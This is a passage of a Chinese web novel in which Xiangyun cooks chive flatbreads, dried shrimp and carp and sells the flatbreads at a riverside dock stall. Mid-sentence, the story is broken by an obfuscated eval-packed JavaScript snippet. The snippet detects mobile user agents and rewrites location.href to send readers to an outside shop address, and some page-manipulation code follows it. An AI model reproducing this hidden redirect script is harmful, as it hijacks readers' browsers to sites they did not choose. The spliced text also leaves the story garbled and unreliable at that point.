醒来后也不敢耽搁，今儿她要做韭菜烙饼，依旧是做两种，但是杂面烙饼口感不好，所以都做白面烙饼。 一种是纯韭菜馅的，还有一种则是韭菜鸡子（鸡蛋）馅的。 晾干的韭菜切成碎状，分别放在两个盆里。敲几个鸡子在碗里，金灿灿的黄儿，用筷子快速搅散。 生火，小炉子上的锅热后放入猪油，这是要拿去卖的，必得做了好吃才行，而猪油做出来的味道会更香。 油热后倒入搅散的鸡子，只听“滋啦”一声，鸡子进锅后立刻变成了微黄色，边缘开始鼓包，香云随即用铲子开始翻炒。 很快，炒鸡子就成了，金黄色的颗粒，很是诱人，盛在一个盆里，开始调味。 晒干的花椒粒碾碎，放进韭菜馅里面，再加入少许大酱、盐、糖、酱油，再来点小茴香碎。 加了鸡子的韭菜馅先翻拌均匀，随后将锅洗了再次烧热，舀点素油进锅烧热后泼在馅里，拌匀就行。 馅料调好味后就放在盆里盖上盖儿，待会带去码头。 接着，香云便去处理今天的重头戏，就是那桶养着的鱼虾啦！ 在这之前，先去把晒着的菜蔬挨个翻身，大太阳、河风又盛，只消个把多时辰，那些瓜菜表面已经有些干了。 转过身就去提养鱼虾的小桶，先捞出里面的小河虾，去河边清洗干净。 这次改用大灶，火塘里添上柴火，大火把锅烧旺了，锅里不放一滴油，直接倒入清洗干净的小河虾。 小河虾下锅后，迅速从青灰色变了色，爆炒一会儿，直接出锅。 这样新鲜的小河虾直接吃也很好吃，香云捏了点直接丢进嘴里，连皮带肉一起嚼了，表皮酥脆，虾肉紧实。 不仅如此，还自带一股清甜之气，十分鲜美。 爆炒好的小河虾用小箩筐盛了，直接放在大太阳下吹晒，时间长了就成了小虾干了。 到那时，拿石臼舂了，碾碎成虾粉，不管做腌菜还是日常炖菜，加一些进去，都会给吃食增鲜很多。 香云看着箩筐里泛着杏黄色的小虾，再看看满院里铺满的菜蔬，笑得是眉眼弯弯。 这种家里被一点点填满充实的感觉，实在让人心情大好！ 她很是贪恋地环视了一圈这小院，心中暗自着期待终有一天要在新春拥有属于自己的小屋。 可现在户籍还未落下，想这些到底是为时尚早，她只得又马不停蹄去处理桶里活蹦乱跳的大鲤鱼了。 今天之所以会舍得花几十文买这大鲤鱼，当然不是给自己吃的。 好食材，自然是要卖给码头上那些愿意舍得花大价钱买好吃食的客人。 大鲤鱼被捞出放在案板上，鱼鳍拍得噼啪作响。 指尖用力抠住鱼鳃处，锋利的刀刃开始快速刮着鱼鳞，舀上一勺水冲洗鱼身，青黑色鱼鳞也尽数脱落。 再用刀轻轻划破鱼腹，刀尖挤进鱼腹挖出内脏和紧贴着的黑膜，土黄的鱼籽很大一块，鱼泡也是白嫩嫩的。 洗干净后先砍下鱼头，剩下的鱼身则沿着鱼脊对半劈开，剁出鱼块后在面上改花刀，一起盛在盆里。 今儿买的两条大鲤鱼块头大，是以剁出来的鱼块又肥又厚，鱼肉白中透红。 鱼头没肉，所以连着鱼籽和鱼泡一起加酱油和茱萸热辣辣地炖出来，留着晚上和明天当菜吃。 这边小炉子上鱼杂“咕嘟嘟”地炖着，很快便有了鲜香气飘出，香云也在俯身赶着腌制鱼块。 剁好的鱼块将水分沥干后，加入酱油、黄酒，盖上盖儿浸泡入味。 忙完这些，香云朝外一看，日头已经往西，就把和好的面和调好的两种韭菜馅装了往码头去了。 这些东西都很轻便，所以拿着也不费事，依旧是步行，如今香云已经习惯了去码头的路，两炷香不到就能到达。 到了码头，先将摊子支起来，坐着歇了会后，眼看着河边船只靠岸下货的越来越多，香云也顺势生起了炉子。 提前和好的面放了一两个时辰后，这时候已经十分柔软光滑了。 取出来扯面剂子搓圆，擀成圆形，摊在掌心，舀上适量的馅料，将面皮收口朝下放在案板上。 炉子上的火上来后，将包好馅的烙饼挨个平铺在鏊子上，轻轻按扁，不用放一滴油，只用中小火慢慢烙熟即可。 随着时间的推移，只听见鏊子底部一直在“滋滋”出声，与此同时，烙饼也在散发着诱人的香气。 香云坐在炉子前，看着烙饼的颜色，根据火候不停用铲子翻动着烙饼，很快一个个圆鼓鼓的焦黄烙饼就做好了。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433190|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候，西边的太阳也开始慢慢落山，码头上的小摊个个都是铆足劲儿在做着各色吃食，香味直飘得整个码头到处都是。 引得那些个在搬送货物的汉子们还有船上之人个个不由地摸了摸那有些饥肠辘辘的肚子。 这个说着：“一做完活儿，我必得吃一碗咸豆花儿去……” 那个也附和道：“今儿发工钱了，我得去买两个大肉包子犒劳犒劳自己！” 是以，香云这第一锅烙饼烙好之后，一拨人闻着味儿就寻到了摊子前，将鏊子里的烙饼一气儿全买了。 一个个啃着鲜香软嫩的烙饼，嘟囔道：“这素韭菜馅的烙饼没想到也这般有滋味呢！明儿我得加上一文来个加了鸡子的尝尝！” 香云做的烙饼，饼皮劲道有韧劲，馅料舍得放还调得鲜香可口，哪怕就是两文一个的素韭菜馅的，也很好吃。 眼看着第一锅全都卖出，香云心里可算松了口气，在来的路上她还担心烙饼卖不出去，现在可放下心来了。 忙又精神利索地又去烙第二锅，每一锅都是素馅的多一些，加了鸡子馅的少一些。 但是每一锅烙饼做好后，不消一会儿，不用多吆喝，就都能卖出去。 到天色有些擦黑，香云最后一锅韭菜鸡子的烙饼也被一家商船上的小子尽数买了去。 她掂了掂今儿下午买烙饼收来的银钱，沉甸甸的，心中很是满意。 今儿是头一遭来摆摊，早上的馒头和粥是上不了台面的，是以，刚才香云特地留了些面皮和韭菜鸡子馅出来。 麻溜烙好了几张饼，香云用干净碗碟装了径直往码头管事人所在的屋子去了。 她很明白在这个世道生存的规则，她一个独身女子，在新春县是无依无靠，既无人可依，就得自己多想着些。 正所谓拿人的手短，吃人的嘴短 ，对这码头上的管事人而言，香云没有银钱可送，就只能送些自己做的吃食了。 她到了地方后，旁人也不认得，就只寻了那日饶了几日摊位给自己的赵旭东。 “赵管事，这是我自己做的烙饼，刚出锅的，还热乎着呢！ 劳您大驾，一起分给大家伙尝尝，不管滋味儿如何，总是我一番心意！”香云笑道。 赵旭东看着碗里那香味扑鼻的烙饼，偷偷咽了咽口水，这个时间，他其实早就饿了。 可是在码头上做这营生还是家里托了很大的人情才有的，这活计轻省，自然不能无事便胡乱花银钱吃喝的。 今儿在码头巡视的时候，他就见到这小娘子摊子前围了不少人，想来定是做的吃食味道好。 这会儿见到香云亲自送了来，他实在推脱不过，又觉不是十分贵重之物，就乐呵呵收下了。 “那就多谢姑娘了，待会儿碗洗净了我再给你送去！” 香云见东西收下，便预备走了，只是刚走两步便被叫住了。 “姑娘这摊子白日里就算人不在也尽管放心支在那里，我给你看着就是！” 香云回头，见到男子满脸诚恳，想着若是拒绝，难免让人难堪，便应了下来。 “好，那就多谢赵管事了！”